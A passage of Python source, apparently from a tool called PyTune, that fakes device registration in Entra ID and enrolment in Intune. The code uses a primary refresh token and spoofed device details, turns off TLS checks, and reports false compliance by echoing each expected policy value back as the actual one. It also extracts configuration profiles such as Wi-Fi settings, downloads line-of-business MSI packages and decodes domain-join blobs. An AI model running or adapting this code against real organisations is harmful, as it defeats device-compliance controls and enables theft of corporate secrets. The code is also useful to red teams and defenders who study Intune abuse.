193 | f"./Device/DevDetail/Ext/Microsoft/GoogleServicesAndroidId": { 194 | "Format": "chr", 195 | "Data": "371a184e7e106668" 196 | }, 197 | f"./Device/DevDetail/Ext/Microsoft/IMEI": { 198 | "Format": "chr", 199 | "Data": "00000000000000" 200 | }, 201 | f"./Device/DevDetail/Ext/Microsoft/SerialNumber": { 202 | "Format": "chr", 203 | "Data": "PYTUNE" 204 | }, 205 | f"./Device/DevDetail/Ext/Microsoft/PNSType": { 206 | "Format": "chr", 207 | "Data": "FCM" 208 | }, 209 | f"./Device/Vendor/MSFT/GCM/774944887730/ChannelStatus": { 210 | "Format": "chr", 211 | "Data": None 212 | }, 213 | f"./Device/Vendor/MSFT/GCM/774944887730/Channel": { 214 | "Format": "chr", 215 | "Data": None 216 | }, 217 | f"./Device/Vendor/MSFT/FCM/InstanceId": { 218 | "Format": "chr", 219 | "Data": "abc-abcdef" 220 | }, 221 | f"./Device/DevInfo/Lang": { 222 | "Format": "chr", 223 | "Data": "en-US" 224 | }, 225 | f"./Device/Vendor/MSFT/GooglePlayServices/IsAvailable": { 226 | "Format": "bool", 227 | "Data": "true" 228 | }, 229 | f"./Device/Vendor/MSFT/DeviceLock/DevicePolicyManager/IsSecurityProvidersUpdated": { 230 | "Format": "bool", 231 | "Data": "true" 232 | }, 233 | f"./User/{self.uid}/Vendor/MSFT/EnterpriseAppManagement/EnterpriseIDs": { 234 | "Format": "chr", 235 | "Data": self.tenant 236 | }, 237 | f"./User/{self.uid}/Vendor/MSFT/Scheduler/IntervalDurationSeconds": { 238 | "Format": "int", 239 | "Data": "28800" 240 | }, 241 | f"./Device/DevDetail/Ext/Microsoft/OSPlatform": { 242 | "Format": "chr", 243 | "Data": self.os 244 | }, 245 | f"./Device/Vendor/MSFT/DeviceInformation/Version": { 246 | "Format": "chr", 247 | "Data": self.os_version 248 | }, 249 | f"./Device/DevDetail/Ext/Microsoft/ICCID": { 250 | "Format": "chr", 251 | "Data": "89014103211118510720" 252 | }, 253 | f"./Device/DevDetail/Ext/Microsoft/CommercializationOperator": { 254 | "Format": "chr", 255 | "Data": self.os 256 | }, 257 | f"./Device/Vendor/MSFT/DeviceInformation/IsDeviceRooted": { 258 | "Format": "int", 259 | "Data": "0" 260 | }, 261 | f"./Device/DevDetail/Ext/Microsoft/CellularTechnology": { 262 | "Format": "chr", 263 | "Data": "GSM" 264 | }, 265 | f"./Device/DevDetail/FwV": { 266 | "Format": "chr", 267 | "Data": "unknown" 268 | }, 269 | f"./Device/DevDetail/Ext/Microsoft/WifiMac": { 270 | "Format": "chr", 271 | "Data": "02:00:00:44:55:66" 272 | }, 273 | f"./Device/Vendor/MSFT/DeviceLock/DevicePolicyManager/IsAndroidSecurityLevelPatched": { 274 | "Format": "chr", 275 | "Data": "2018-01-05" 276 | }, 277 | f"./Device/DevDetail/Ext/Microsoft/BuildNumber": { 278 | "Format": "chr", 279 | "Data": "OSM1.180201.007" 280 | }, 281 | f"./Device/Vendor/MSFT/DeviceLock/DevicePolicyManager/StorageEncryptionStatus": { 282 | "Format": "int", 283 | "Data": "5" 284 | }, 285 | f"./User/{self.uid}/Vendor/MSFT/EnterpriseAppManagement/EnterpriseApps/ManagedInventory": { 286 | "Format": "node", 287 | "Data": "android/com.android.backupconfirm/com.android.bips/com.android.bookmarkprovider/com.android.calllogbackup/com.android.captiveportallogin/com.android.carrierconfig/com.android.cellbroadcastreceiver/com.android.certinstaller/com.android.companiondevicemanager/com.android.contacts/com.android.cts.ctsshim/com.android.cts.priv.ctsshim/com.android.defcontainer/com.android.documentsui/com.android.dreams.basic/com.android.egg/com.android.emulator.smoketests/com.android.externalstorage/com.android.htmlviewer/com.android.inputdevices/com.android.keychain/com.android.location.fused/com.android.managedprovisioning/com.android.mms.service/com.android.mtp/com.android.pacprocessor/com.android.phone/com.android.printspooler/com.android.protips/com.android.providers.blockednumber/com.android.providers.calendar/com.android.providers.contacts/com.android.providers.downloads/com.android.providers.downloads.ui/com.android.providers.media/com.android.providers.partnerbookmarks/com.android.providers.settings/com.android.providers.telephony/com.android.providers.userdictionary/com.android.proxyhandler/com.android.server.telecom/com.android.settings/com.android.sharedstoragebackup/com.android.shell/com.android.statementservice/com.android.storagemanager/com.android.systemui/com.android.systemui.theme.dark/com.android.vending/com.android.vpndialogs/com.android.wallpaper.livepicker/com.android.wallpaperbackup/com.breel.geswallpapers/com.example.android.livecubes/com.example.android.softkeyboard/com.google.android.apps.nexuslauncher/com.google.android.apps.wallpaper.nexus/com.google.android.backuptransport/com.google.android.configupdater/com.google.android.ext.services/com.google.android.ext.shared/com.google.android.feedback/com.google.android.gms/com.google.android.gsf/com.google.android.onetimeinitializer/com.google.android.packageinstaller/com.google.android.partnersetup/com.google.android.printservice.recommendation/com.google.android.sdksetup/com.google.android.setupwizard/com.google.android.syncadapters.contacts/com.google.android.tts/com.google.android.webview/com.microsoft.windowsintune.companyportal/com.ustwo.lwp/jp.co.omronsoft.openwnn" 288 | }, 289 | f"./Device/DevInfo/DmV": { 290 | "Format": "chr", 291 | "Data": "1.0" 292 | }, 293 | f"./Device/DevDetail/HwV": { 294 | "Format": "chr", 295 | "Data": "ranchu" 296 | }, 297 | f"./Device/DevDetail/DevTyp": { 298 | "Format": "chr", 299 | "Data": "sdk_gphone_x86" 300 | }, 301 | f"./Device/DevDetail/OEM": { 302 | "Format": "chr", 303 | "Data": "Google Android SDK built for x86" 304 | }, 305 | f"./User/{self.uid}/Vendor/MSFT/DeviceLock/Provider/SCConfigMgr/MaxDevicePasswordFailedAttempts": { 306 | "Format": "int", 307 | "Data": "0" 308 | }, 309 | f"./User/{self.uid}/Vendor/MSFT/DeviceLock/Provider/SCConfigMgr/MinDevicePasswordLength": { 310 | "Format": "int", 311 | "Data": "0" 312 | }, 313 | f"./User/{self.uid}/Vendor/MSFT/DeviceLock/Provider/SCConfigMgr/DevicePasswordHistory": { 314 | "Format": "int", 315 | "Data": "0" 316 | }, 317 | f"./User/{self.uid}/Vendor/MSFT/DeviceLock/Provider/SCConfigMgr/DevicePasswordEnabled": { 318 | "Format": "int", 319 | "Data": "1" 320 | }, 321 | f"./User/{self.uid}/Vendor/MSFT/DeviceLock/Provider/SCConfigMgr/DevicePasswordExpiration": { 322 | "Format": "int", 323 | "Data": "0" 324 | }, 325 | f"./User/{self.uid}/Vendor/MSFT/DeviceLock/Provider/SCConfigMgr/MaxInactivityTimeDeviceLock": { 326 | "Format": "int", 327 | "Data": "0" 328 | }, 329 | f"./DevDetail/Ext/Microsoft/ProcessorArchitecture": { 330 | "Format": "chr", 331 | "Data": "x86" 332 | }, 333 | f"./User/{self.uid}/Vendor/MSFT/WorkProfileLock/Provider/SCConfigMgr/ResetPasswordTokenStatus": { 334 | "Format": "chr", 335 | "Data": "Inactive" 336 | }, 337 | f"./User/{self.uid}/Vendor/MSFT/WorkProfile/AuthTokenRenewal/Required": { 338 | "Format": "bool", 339 | "Data": "false" 340 | }, 341 | f"./User/{self.uid}/Vendor/MSFT/WorkProfile/AuthTokenRenewal/EncryptedTokenRequired": { 342 | "Format": "bool", 343 | "Data": "false" 344 | }, 345 | f"./Device/Vendor/MSFT/WorkplaceJoin/AADID": { 346 | "Format": "chr", 347 | "Data": self.deviceid 348 | }, 349 | f"./User/{self.uid}/Vendor/MSFT/Scheduler/intervalDurationSeconds": { 350 | "Format": "int", 351 | "Data": "28800" 352 | }, 353 | f"./Device/Vendor/MSFT/DeviceLock/DevicePolicyManager/IsActivePasswordSufficient": { 354 | "Format": "bool", 355 | "Data": "true" 356 | }, 357 | } 358 | if key in data: 359 | return data[key] 360 | else: 361 | return None -------------------------------------------------------------------------------- /device/device.py: -------------------------------------------------------------------------------- 1 | import os 2 | import re 3 | import jwt 4 | import uuid 5 | import struct 6 | import base64 7 | import requests 8 | import xmltodict 9 | import urllib.parse 10 | from abc import abstractmethod 11 | import xml.etree.ElementTree as ET 12 | from cryptography import x509 13 | from cryptography.hazmat.primitives.asymmetric import rsa 14 | from cryptography.hazmat.backends import default_backend 15 | from cryptography.x509.oid import NameOID 16 | from cryptography.hazmat.primitives import hashes, serialization 17 | from roadtools.roadlib.deviceauth import DeviceAuthentication 18 | from roadtools.roadlib.auth import Authentication 19 | from utils.utils import prtauth, renew_token, token_renewal_for_enrollment, create_pfx, extract_pfx 20 | 21 | class Device: 22 | def __init__(self, logger, os, device_name, deviceid, uid, tenant, prt, session_key, proxy): 23 | self.logger = logger 24 | self.os = os 25 | self.os_version = None 26 | self.ssp_version = None 27 | self.device_name = device_name 28 | self.deviceid = deviceid 29 | self.intune_deviceid = None 30 | self.uid = uid 31 | self.tenant = tenant 32 | self.prt = prt 33 | self.session_key = session_key 34 | self.checkin_url = None 35 | self.provider_name = None 36 | self.cname = None 37 | self.hwhash = None 38 | self.proxy = proxy 39 | self.device_auth = DeviceAuthentication() 40 | self.device_auth.proxies = proxy 41 | self.device_auth.verify = False 42 | self.device_auth.auth.proxies = proxy 43 | self.device_auth.auth.verify = False 44 | 45 | def entra_join(self, username, password, access_token, deviceticket): 46 | devicereg = 'urn:ms-drs:enterpriseregistration.windows.net' 47 | if access_token: 48 | claims = jwt.decode(access_token, options={"verify_signature":False}, algorithms=['RS256']) 49 | if claims['aud'] != devicereg: 50 | self.logger.info(f"wrong resource uri! {devicereg} is expected") 51 | return 52 | else: 53 | auth = Authentication(username=username, password=password) 54 | auth.resource_uri = devicereg 55 | auth.proxies = self.proxy 56 | auth.verify = False 57 | access_token = auth.authenticate_username_password()['accessToken'] 58 | 59 | certpath = f'{self.device_name}_cert.pem' 60 | keypath = f'{self.device_name}_key.pem' 61 | self.device_auth.register_device( 62 | access_token=access_token, 63 | jointype=0, # 0 : join, 4 : register 64 | certout=certpath, 65 | privout=keypath, 66 | device_type=self.os, 67 | device_name=self.device_name, 68 | os_version=self.os_version, 69 | deviceticket=deviceticket 70 | ) 71 | 72 | pfxpath = f'{self.device_name}.pfx' 73 | create_pfx(certpath, keypath, pfxpath) 74 | 75 | os.remove(certpath) 76 | os.remove(keypath) 77 | self.logger.success(f'successfully registered {self.device_name} to Entra ID!') 78 | self.logger.info(f'here is your device certificate: {pfxpath} (pw: password)') 79 | return 80 | 81 | def entra_delete(self, certpfx): 82 | certpath = f'device_cert.pem' 83 | keypath = f'device_key.pem' 84 | extract_pfx(certpfx, certpath, keypath) 85 | 86 | self.device_auth.loadcert(pemfile=certpath, privkeyfile=keypath) 87 | self.device_auth.delete_device(certpath, keypath) 88 | 89 | os.remove(certpath) 90 | os.remove(keypath) 91 | return 92 | 93 | def enroll_intune(self): 94 | access_token, refresh_token = prtauth(self.prt, self.session_key, '9ba1a5c7-f17a-4de9-a1f1-6178c8d51223', 'https://graph.microsoft.com/', None, self.proxy) 95 | enrollment_url = self.get_enrollment_info(access_token, self.provider_name) 96 | self.logger.info(f"resolved enrollment url: {enrollment_url}") 97 | 98 | private_key = rsa.generate_private_key( 99 | public_exponent=65537, 100 | key_size=2048 101 | ) 102 | 103 | csr_token = self.get_enrollment_token(refresh_token) 104 | csr_der = self.create_csr(private_key, self.cname) 105 | 106 | csr_pem = base64.b64encode(csr_der).decode('utf-8') 107 | try: 108 | response = self.send_enroll_request(enrollment_url, csr_pem, csr_token, None) 109 | except: 110 | self.logger.error('device enroolemt failed. maybe enrollment restriction?') 111 | return 112 | 113 | my_cert = self.parse_enroll_response(response) 114 | if my_cert == None: 115 | self.logger.error(f'certificate signing request failed. retry later') 116 | return 117 | 118 | pfxpath = f'{self.device_name}_mdm.pfx' 119 | self.save_mdm_certs(private_key, my_cert, pfxpath) 120 | self.logger.success(f'successfully enrolled {self.device_name} to Intune!') 121 | self.logger.info(f'here is your MDM pfx: {pfxpath} (pw: password)') 122 | return 123 | 124 | @abstractmethod 125 | def get_enrollment_token(self, refresh_token): 126 | pass 127 | 128 | def get_enrollment_info(self, access_token, provider_name): 129 | response = requests.get( 130 | "https://graph.microsoft.com/v1.0/myorganization/servicePrincipals/appId=0000000a-0000-0000-c000-000000000000/endpoints", 131 | headers={"Authorization": f"Bearer {access_token}"}, 132 | proxies=self.proxy, 133 | verify=False 134 | ) 135 | 136 | for value in response.json()['value']: 137 | if value['providerName'] == provider_name: 138 | return value['uri'] 139 | 140 | return None 141 | 142 | @abstractmethod 143 | def send_enroll_request(self, enrollment_url, access_token_b64, csr_pem, ztdregistrationid): 144 | pass 145 | 146 | def extract_profiles(self, cmds): 147 | profiles = [] 148 | if 'Add' not in cmds: 149 | return profiles 150 | excluded_keys = ['FakePolicy', 'EntDMID', 'ResetPasswordToken'] 151 | for cmd in cmds['Add']: 152 | locuri = cmd['Item']['Target']['LocURI'] 153 | is_excluded = False 154 | for excluded_key in excluded_keys: 155 | if excluded_key in locuri: 156 | is_excluded = True 157 | 158 | if is_excluded == False and 'Data' in cmd['Item']: 159 | profiles.append({'LocURI': locuri, 'Data':cmd['Item']['Data']}) 160 | return profiles 161 | 162 | def extract_msi_url(self, cmds): 163 | urls = [] 164 | if 'Exec' not in cmds: 165 | return urls 166 | for cmd in cmds['Exec']: 167 | locuri = cmd['Item']['Target']['LocURI'] 168 | if 'DownloadInstall' in locuri: 169 | xml = cmd['Item']['Data'] 170 | start = xml.find('') + len('') 171 | end = xml.find('') 172 | url = xml[start:end].strip() 173 | if 'IntuneWindowsAgent.msi' not in url: 174 | urls.append(url.replace('&', '&')) 175 | return urls 176 | 177 | def extract_odjblob(self, cmds): 178 | if 'Exec' not in cmds: 179 | return None 180 | for cmd in cmds['Exec']: 181 | locuri = cmd['Item']['Target']['LocURI'] 182 | if locuri == './Vendor/MSFT/OfflineDomainJoin/Blob': 183 | return cmd['Item']['Data'] 184 | return None 185 | 186 | def print_djoinblob(self, djoin_encoded): 187 | djoinblob = base64.b64decode(djoin_encoded) 188 | 189 | chars='' 190 | for b in djoinblob: 191 | if b == 0: 192 | continue 193 | elif 32<= b <= 126: 194 | chars+=chr(b) 195 | else: 196 | chars+=' ' 197 | 198 | def get_str_and_next(blob, start): 199 | str_size = (struct.unpack(' 0: 278 | self.logger.alert(f'maybe these are configuration profiles:') 279 | for profile in profiles: 280 | if 'WlanXml' in profile["LocURI"]: 281 | print(f'- {profile["LocURI"]}:') 282 | print(xmltodict.parse(profile["Data"])) 283 | else: 284 | print(f'- {profile["LocURI"]}: {profile["Data"]}') 285 | 286 | if len(msi_urls): 287 | self.logger.alert(f'we found line-of-business app...') 288 | for msi_url in msi_urls: 289 | self.logger.info(f'downloading msi file from {msi_url}') 290 | self.download_msi(msi_url, certpath, keypath) 291 | 292 | 293 | if odjblob: 294 | self.logger.success(f'got online domain join blob') 295 | self.print_djoinblob(odjblob) 296 | 297 | os.remove(certpath) 298 | os.remove(keypath) 299 | return 300 | 301 | def check_compliant(self): 302 | access_token, refresh_token = prtauth(self.prt, self.session_key, '9ba1a5c7-f17a-4de9-a1f1-6178c8d51223', 'https://graph.microsoft.com/', None, self.proxy) 303 | iwservice_url = self.get_enrollment_info(access_token, 'IWService') 304 | self.logger.info(f"resolved IWservice url: {iwservice_url}") 305 | token_renewal_url = self.get_enrollment_info(access_token, 'TokenRenewalService') 306 | self.logger.info(f"resolved token renewal url: {token_renewal_url}") 307 | renewal_token = renew_token(refresh_token, '9ba1a5c7-f17a-4de9-a1f1-6178c8d51223', 'd4ebce55-015a-49b5-a083-c84d1797ae8c/.default openid offline_access profile', self.proxy) 308 | enrollment_token = token_renewal_for_enrollment(token_renewal_url, renewal_token, self.proxy) 309 | 310 | device_name = self.get_device_info(iwservice_url, enrollment_token, 'OfficialName') 311 | state = self.get_device_info(iwservice_url, enrollment_token, 'ComplianceState') 312 | if state == 'Compliant': 313 | self.logger.success(f'{device_name} is compliant!') 314 | return 315 | 316 | self.logger.error(f'{device_name} is not compliant') 317 | reasons = self.get_device_info(iwservice_url, enrollment_token, 'NoncompliantRules') 318 | if reasons == None: 319 | self.logger.info(f'maybe device is already retired or not enrolled yet') 320 | return 321 | 322 | i = 1 323 | for reason in reasons: 324 | self.logger.alert(f'non-compliant reason #{i}:') 325 | print(f' - SettingID: {reason["SettingID"]}') 326 | print(f' - Title: {reason["Title"]}') 327 | if "ExpectedValue" in reason: 328 | print(f' - ExpectedValue: {reason["ExpectedValue"]}') 329 | print(f' - Description: {reason["Description"]}') 330 | i = i+1 331 | 332 | return 333 | 334 | def retire_intune(self): 335 | access_token, refresh_token = prtauth(self.prt, self.session_key, '9ba1a5c7-f17a-4de9-a1f1-6178c8d51223', 'https://graph.microsoft.com/', None, self.proxy) 336 | iwservice_url = self.get_enrollment_info(access_token, 'IWService') 337 | self.logger.info(f"resolved IWservice url: {iwservice_url}") 338 | token_renewal_url = self.get_enrollment_info(access_token, 'TokenRenewalService') 339 | self.logger.info(f"resolved token renewal url: {token_renewal_url}") 340 | 341 | renewal_token = renew_token(refresh_token, '9ba1a5c7-f17a-4de9-a1f1-6178c8d51223', 'd4ebce55-015a-49b5-a083-c84d1797ae8c/.default openid offline_access profile', self.proxy) 342 | enrollment_token = token_renewal_for_enrollment(token_renewal_url, renewal_token, self.proxy) 343 | 344 | retire_info = self.get_device_info(iwservice_url, enrollment_token, '#CommonContainer.Retire') 345 | if retire_info == None: 346 | retire_info = self.get_device_info(iwservice_url, enrollment_token, '#CommonContainer.FullWipe') 347 | 348 | if retire_info == None: 349 | self.logger.info(f'maybe this device is not enrolled or already retired') 350 | return 351 | 352 | retire_url = retire_info['target'] 353 | self.logger.info(f"resolved reitrement url: {retire_url}") 354 | 355 | result = self.send_retire_request(retire_url, enrollment_token) 356 | if result == True: 357 | self.logger.success(f"successfully retired: {self.deviceid}") 358 | else: 359 | self.logger.error(f'failed to retire the device') 360 | return 361 | 362 | def send_retire_request(self, retire_url, access_token): 363 | response = requests.post( 364 | url=f"{retire_url}?api-version=16.4&ssp={self.os}SSP&ssp-version={self.ssp_version}&os={self.os}&os-version={self.os_version}&os-sub=None&arch=ARM&mgmt-agent=Mdm", 365 | headers={"Authorization": f"Bearer {access_token}"}, 366 | proxies=self.proxy, 367 | verify=False 368 | ) 369 | 370 | if response.status_code == 204: 371 | return True 372 | return False 373 | 374 | def get_device_info(self, iwservice_url, access_token, key): 375 | response = requests.get( 376 | url=f"{iwservice_url}/Devices?api-version=16.4&ssp={self.os}SSP&ssp-version={self.ssp_version}&os={self.os}&os-version={self.os_version}&os-sub=None&arch=ARM&mgmt-agent=Mdm", 377 | headers={"Authorization": f"Bearer {access_token}"}, 378 | proxies=self.proxy, 379 | verify=False 380 | ) 381 | 382 | for value in response.json()['value']: 383 | if value['AadId'] == self.deviceid: 384 | if key in value: 385 | return value[key] 386 | return None 387 | 388 | @abstractmethod 389 | def get_syncml_data(self, key): 390 | pass 391 | 392 | def parse_omadm_cmd(self, input, results): 393 | for omadm_cmd in results.keys(): 394 | if omadm_cmd in input: 395 | if omadm_cmd == 'Atomic' or omadm_cmd == 'Sequence': 396 | if isinstance(input[omadm_cmd], list): 397 | for multicmd in input[omadm_cmd]: 398 | results[omadm_cmd].append({"CmdID": multicmd['CmdID']}) 399 | results = self.parse_omadm_cmd(multicmd, results) 400 | else: 401 | results[omadm_cmd].append({"CmdID": input[omadm_cmd]['CmdID']}) 402 | results = self.parse_omadm_cmd(input[omadm_cmd], results) 403 | else: 404 | if isinstance(input[omadm_cmd], list): 405 | results[omadm_cmd].extend(input[omadm_cmd]) 406 | else: 407 | results[omadm_cmd].append(input[omadm_cmd]) 408 | return results 409 | 410 | def parse_syncml(self, xml_data): 411 | parsed_dict = xmltodict.parse(xml_data) 412 | syncml_data = parsed_dict['SyncML'] 413 | sync_body = syncml_data['SyncBody'] 414 | results = {'Get':[], 'Atomic':[], 'Add':[], 'Replace':[], 'Exec':[], 'Sequence':[], 'Delete':[]} 415 | results = self.parse_omadm_cmd(sync_body, results) 416 | 417 | cmdlen = 0 418 | for omadm_cmd in results.keys(): 419 | cmdlen += len(results[omadm_cmd]) 420 | 421 | if cmdlen == 0: 422 | return None 423 | else: 424 | return results 425 | 426 | def generate_syncml_header(self, msgid, sessionid, imei): 427 | syncml_template = { 428 | "SyncML": { 429 | "@xmlns": "SYNCML:SYNCML1.2", 430 | "SyncHdr": { 431 | "VerDTD": "1.2", 432 | "VerProto": "DM/1.2", 433 | "SessionID": f"{str(sessionid)}", 434 | "MsgID": f"{str(msgid)}", 435 | "Target": { 436 | "LocURI": self.checkin_url 437 | }, 438 | "Source": {"LocURI": f"imei:{imei}"} 439 | }, 440 | "SyncBody": {} 441 | } 442 | } 443 | return syncml_template 444 | 445 | def generate_initial_syncml(self, sessionid, imei): 446 | pass 447 | 448 | def generate_syncml_response(self, msgid, sessionid, imei, cmds): 449 | 450 | syncml_data = self.generate_syncml_header(msgid, sessionid, imei) 451 | msgref = msgid - 1 452 | syncml_data["SyncML"]["SyncBody"] = { 453 | "Status": [ 454 | { 455 | "CmdID": "1", 456 | "MsgRef": str(msgref), 457 | "CmdRef": "0", 458 | "Cmd": "SyncHdr", 459 | "Data": "200", 460 | }, 461 | { 462 | "CmdID": "3", 463 | "MsgRef": str(msgref), 464 | "CmdRef": "1", 465 | "Cmd": "Status", 466 | "Data": "200", 467 | } 468 | ], 469 | "Results":[], 470 | "Final": None, 471 | } 472 | 473 | cmdid = 8 474 | for cmd_type in cmds: 475 | for cmd in cmds[cmd_type]: 476 | status = { 477 | "CmdID": str(cmdid), 478 | "MsgRef": str(msgref), 479 | "CmdRef": cmd["CmdID"], 480 | "Cmd": cmd_type, 481 | "Data": "200" 482 | } 483 | if cmd_type == 'Get': 484 | locuri = cmd["Item"]["Target"]["LocURI"] 485 | data = self.get_syncml_data(locuri) 486 | if data: 487 | print(f' [*] sending data for {locuri}') 488 | result = { 489 | "CmdID": str(cmdid+1), 490 | "MsgRef": str(msgref), 491 | "CmdRef": cmd["CmdID"], 492 | "Item": { 493 | "Source": { 494 | "LocURI": locuri 495 | }, 496 | "Meta": { 497 | "Format": {"@xmlns": "syncml:metinf", "#text": data["Format"]} 498 | }, 499 | "Data": data["Data"], 500 | } 501 | } 502 | syncml_data["SyncML"]["SyncBody"]["Results"].append(result) 503 | else: 504 | status["Data"] = "404" 505 | print(f' [*] no data found for {locuri}') 506 | cmdid += 2 507 | else: 508 | cmdid += 1 509 | syncml_data["SyncML"]["SyncBody"]["Status"].append(status) 510 | 511 | 512 | return xmltodict.unparse(syncml_data, pretty=False) 513 | 514 | def send_syncml(self, data, certpath, keypath): 515 | response = requests.post( 516 | url=self.checkin_url, 517 | data=data, 518 | headers={'User-Agent': f'MSFT {self.os} OMA DM Client/2.7' , 'Content-Type': 'application/vnd.syncml.dm+xml'}, 519 | verify=False, 520 | cert=(certpath, keypath) 521 | ) 522 | return response.content 523 | 524 | def create_csr(self, private_key, cname): 525 | csr_subject = x509.Name([ 526 | x509.NameAttribute(NameOID.COMMON_NAME, cname) 527 | ]) 528 | 529 | csr_builder = x509.CertificateSigningRequestBuilder().subject_name(csr_subject) 530 | csr = csr_builder.sign(private_key, hashes.SHA256(), default_backend()) 531 | der_csr = csr.public_bytes(encoding=serialization.Encoding.DER) 532 | return der_csr 533 | 534 | def parse_enroll_response(self, xml_security_token): 535 | xml = ET.fromstring(xml_security_token) 536 | certpath = 'characteristic/characteristic/characteristic/characteristic/parm' 537 | my_cert = xml.findall(certpath)[2].attrib['value'] 538 | return my_cert 539 | 540 | def save_mdm_certs(self, private_key, my_cert, pfxpath): 541 | cert = x509.load_der_x509_certificate(base64.b64decode(my_cert), default_backend()) 542 | pfx = serialization.pkcs12.serialize_key_and_certificates( 543 | pfxpath.encode('utf-8'), 544 | private_key, 545 | cert, 546 | None, 547 | serialization.BestAvailableEncryption(b"password") 548 | ) 549 | 550 | with open(pfxpath, 'wb') as outfile: 551 | outfile.write(pfx) 552 | 553 | return 554 | -------------------------------------------------------------------------------- /device/linux.py: -------------------------------------------------------------------------------- 1 | import os 2 | import base64 3 | import requests 4 | from datetime import datetime 5 | from cryptography import x509 6 | from device.device import Device 7 | from cryptography.hazmat.backends import default_backend 8 | from utils.utils import prtauth, renew_token, extract_pfx 9 | 10 | class Linux(Device): 11 | def __init__(self, logger, os, device_name, deviceid, uid, tenant, prt, session_key, proxy): 12 | super().__init__(logger, os, device_name, deviceid, uid, tenant, prt, session_key, proxy) 13 | self.os_version = '22.04' 14 | self.ssp_version = '1.2312.35' 15 | self.checkin_url = None 16 | self.provider_name = 'LinuxEnrollmentService' 17 | self.cname = self.device_name 18 | 19 | def get_enrollment_token(self, refresh_token): 20 | return renew_token(refresh_token, '9ba1a5c7-f17a-4de9-a1f1-6178c8d51223', 'openid offline_access profile d4ebce55-015a-49b5-a083-c84d1797ae8c/.default', self.proxy) 21 | 22 | def send_enroll_request(self, enrollment_url, csr_pem, csr_token, ztdregistrationid): 23 | data = { 24 | "CertificateSigningRequest": f"-----BEGIN CERTIFICATE REQUEST-----\n{csr_pem}\n-----END CERTIFICATE REQUEST-----\n", 25 | "AppVersion": "0.0.0", 26 | "DeviceName": self.device_name 27 | } 28 | 29 | response = requests.post( 30 | url=f'{enrollment_url}/enroll?api-version=1.0', 31 | json=data, 32 | headers= {'Authorization': f'Bearer {csr_token}'}, 33 | proxies=self.proxy, 34 | verify=False 35 | ) 36 | 37 | return response.json() 38 | 39 | def parse_enroll_response(self, enroll_response): 40 | if 'certificate' in enroll_response: 41 | cert = enroll_response['certificate']['certBlob'] 42 | return base64.b64encode(bytes(cert)) 43 | else: 44 | return None 45 | 46 | def exchange_devdetails(self, access_token): 47 | data = { 48 | "DeviceId":self.intune_deviceid, 49 | "DeviceName":self.device_name, 50 | "Manufacturer":"VMware, Inc.", 51 | "OSDistribution":"Ubuntu", 52 | "OSVersion":self.os_version 53 | } 54 | 55 | response = requests.post( 56 | url=f'{self.checkin_url}/details?api-version=1.0', 57 | json=data, 58 | headers= {'Authorization': f'Bearer {access_token}'}, 59 | ) 60 | 61 | if 'deviceFriendlyName' not in response.json(): 62 | return False 63 | return True 64 | 65 | def fetch_policies(self, access_token): 66 | response = requests.get( 67 | url=f'{self.checkin_url}/policies/{self.intune_deviceid}?api-version=1.0', 68 | headers={'Authorization': 'Bearer {}'.format(access_token)}, 69 | ) 70 | 71 | return response.json()['policies'] 72 | 73 | def report_policy_status(self, access_token, policies): 74 | current_time = datetime.now() 75 | formatted_time = current_time.strftime('%Y-%m-%dT%H:%M:%S') 76 | 77 | statuses = [] 78 | if len(policies) != 0: 79 | for policy in policies: 80 | details = [] 81 | for setting in policy['policySettings']: 82 | details.append({ 83 | "RuleId":setting["ruleId"], 84 | "SettingDefinitionItemId":setting["settingDefinitionItemId"], 85 | "ExpectedValue":setting["value"], 86 | "ActualValue":setting["value"], 87 | "NewComplianceState":"Compliant", 88 | "OldComplianceState":"Unknown" 89 | }) 90 | statuses.append({ 91 | "PolicyId":policy["policyId"], 92 | "LastStatusDateTime":f'{formatted_time}-08:00', 93 | "Details":details 94 | }) 95 | 96 | data = { 97 | "DeviceId":self.intune_deviceid, 98 | "PolicyStatuses":statuses 99 | } 100 | 101 | response = requests.post( 102 | url=f'{self.checkin_url}/status?api-version=1.0', 103 | json=data, 104 | headers={'Authorization': 'Bearer {}'.format(access_token)}, 105 | ) 106 | return 107 | 108 | def checkin(self, mdmpfx): 109 | access_token, refresh_token = prtauth(self.prt, self.session_key, '9ba1a5c7-f17a-4de9-a1f1-6178c8d51223', 'https://graph.microsoft.com/', None) 110 | self.checkin_url = self.get_enrollment_info(access_token, 'LinuxDeviceCheckinService') 111 | self.logger.info(f"resolved checkin url: {self.checkin_url}") 112 | 113 | access_token = renew_token(refresh_token, '9ba1a5c7-f17a-4de9-a1f1-6178c8d51223', '0000000a-0000-0000-c000-000000000000/.default openid offline_access profile') 114 | 115 | certpath = 'pytune_mdm.crt' 116 | keypath = 'pytune_mdm.key' 117 | extract_pfx(mdmpfx, certpath, keypath) 118 | with open(certpath, 'rb') as cert_file: 119 | cert_data = cert_file.read() 120 | os.remove(certpath) 121 | os.remove(keypath) 122 | 123 | cert = x509.load_pem_x509_certificate(cert_data, default_backend()) 124 | common_name = cert.subject.get_attributes_for_oid(x509.NameOID.COMMON_NAME) 125 | self.intune_deviceid = common_name[0].value 126 | 127 | if self.exchange_devdetails(access_token) is False: 128 | self.logger.alert('device may be already retired') 129 | return 130 | 131 | policies = self.fetch_policies(access_token) 132 | if len(policies) == 0: 133 | self.logger.info('no policies are assigned to this device') 134 | else: 135 | self.logger.success('compliance policy found!') 136 | i = 1 137 | for policy in policies: 138 | self.logger.alert(f'compliance policy #{i}:') 139 | for setting in policy['policySettings']: 140 | print(f' - item : {setting["settingDefinitionItemId"]}') 141 | print(f' - expected value : {setting["value"]}') 142 | i = i+1 143 | 144 | self.report_policy_status(access_token, policies) 145 | 146 | self.logger.info('checkin ended!') 147 | 148 | return -------------------------------------------------------------------------------- /device/windows.py: -------------------------------------------------------------------------------- 1 | import os 2 | import io 3 | import jwt 4 | import base64 5 | import gzip 6 | import struct 7 | import requests 8 | import uuid 9 | import json 10 | import xmltodict 11 | import xml.etree.ElementTree as ET 12 | from datetime import datetime, timedelta, timezone 13 | from device.device import Device 14 | from utils.utils import prtauth, extract_pfx, save_encrypted_message_as_smime, decrypt_smime_file, aes_decrypt 15 | from cryptography import x509 16 | from cryptography.hazmat.backends import default_backend 17 | from cryptography.hazmat.primitives.serialization import Encoding 18 | 19 | 20 | class Windows(Device): 21 | def __init__(self, logger, os, device_name, deviceid, uid, tenant, prt, session_key, proxy): 22 | super().__init__(logger, os, device_name, deviceid, uid, tenant, prt, session_key, proxy) 23 | self.os_version = '10.0.19045.2006' 24 | self.ssp_version = self.os_version 25 | self.checkin_url = 'https://r.manage.microsoft.com/devicegatewayproxy/cimhandler.ashx' 26 | 